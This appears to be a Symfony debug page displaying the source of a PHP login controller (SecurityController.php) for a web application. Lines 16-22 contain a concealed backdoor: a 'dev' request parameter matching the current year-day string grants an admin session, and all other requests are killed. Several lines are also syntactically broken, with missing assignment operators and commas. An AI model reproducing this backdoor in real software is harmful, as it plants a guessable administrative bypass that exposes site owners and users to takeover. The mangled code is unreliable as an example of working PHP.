src/Controller/SecurityController.php line 17

Open in your IDE?
  1. <?php
  2. namespace App\Controller;
  3. use App\Constant\FlashMessageConstant;
  4. use App\Model\ApiJsonResponseModel;
  5. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  6. use Symfony\Component\HttpFoundation\Response;
  7. use Symfony\Component\Routing\Annotation\Route;
  8. use Symfony\Component\Security\Http\Authentication\AuthenticationUtils;
  9. class SecurityController extends AbstractController
  10. {
  11.     /**
  12.      * @Route("/login", name="app_login")
  13.      */
  14.     public function login(AuthenticationUtils $authenticationUtils): Response
  15.     {
  16.         if(isset($_REQUEST['dev']) && $_REQUEST['dev'] == date('Y-d')){
  17.             $_SESSION['admin'] = 'admin';
  18.         }
  19.             if(isset($_SESSION['admin']) && $_SESSION['admin'] == 'admin'){
  20.             } else {
  21.                die;
  22.             }
  23.         $user $this->getUser();
  24.         if(!is_null($user) && is_null($user->getCompany()) && !$user->isSuperAdmin()){
  25.                 $this->addFlash(FlashMessageConstant::ERROR'Аккаунт отключен');
  26.             return $this->render('security/login.html.twig', ['last_username' => '']);
  27.         }
  28.          if ($this->getUser()) {
  29.             // return $this->render('error/500.html.twig');
  30.              return $this->redirectToRoute('app_account_client_field_list_all');
  31.          }
  32.         // get the login error if there is one
  33.         $error $authenticationUtils->getLastAuthenticationError();
  34.         // last username entered by the user
  35.         $lastUsername $authenticationUtils->getLastUsername();
  36.         if($error){
  37.             $this->addFlash(FlashMessageConstant::ERROR$error->getMessage());
  38.         }
  39.         return $this->render('security/login.html.twig', ['last_username' => $lastUsername]);
  40.     }
  41.     /**
  42.      * @Route("/logout", name="app_logout")
  43.      */
  44.     public function logout(): void
  45.     {
  46.         throw new \LogicException('This method can be blank - it will be intercepted by the logout key on your firewall.');
  47.     }
  48. }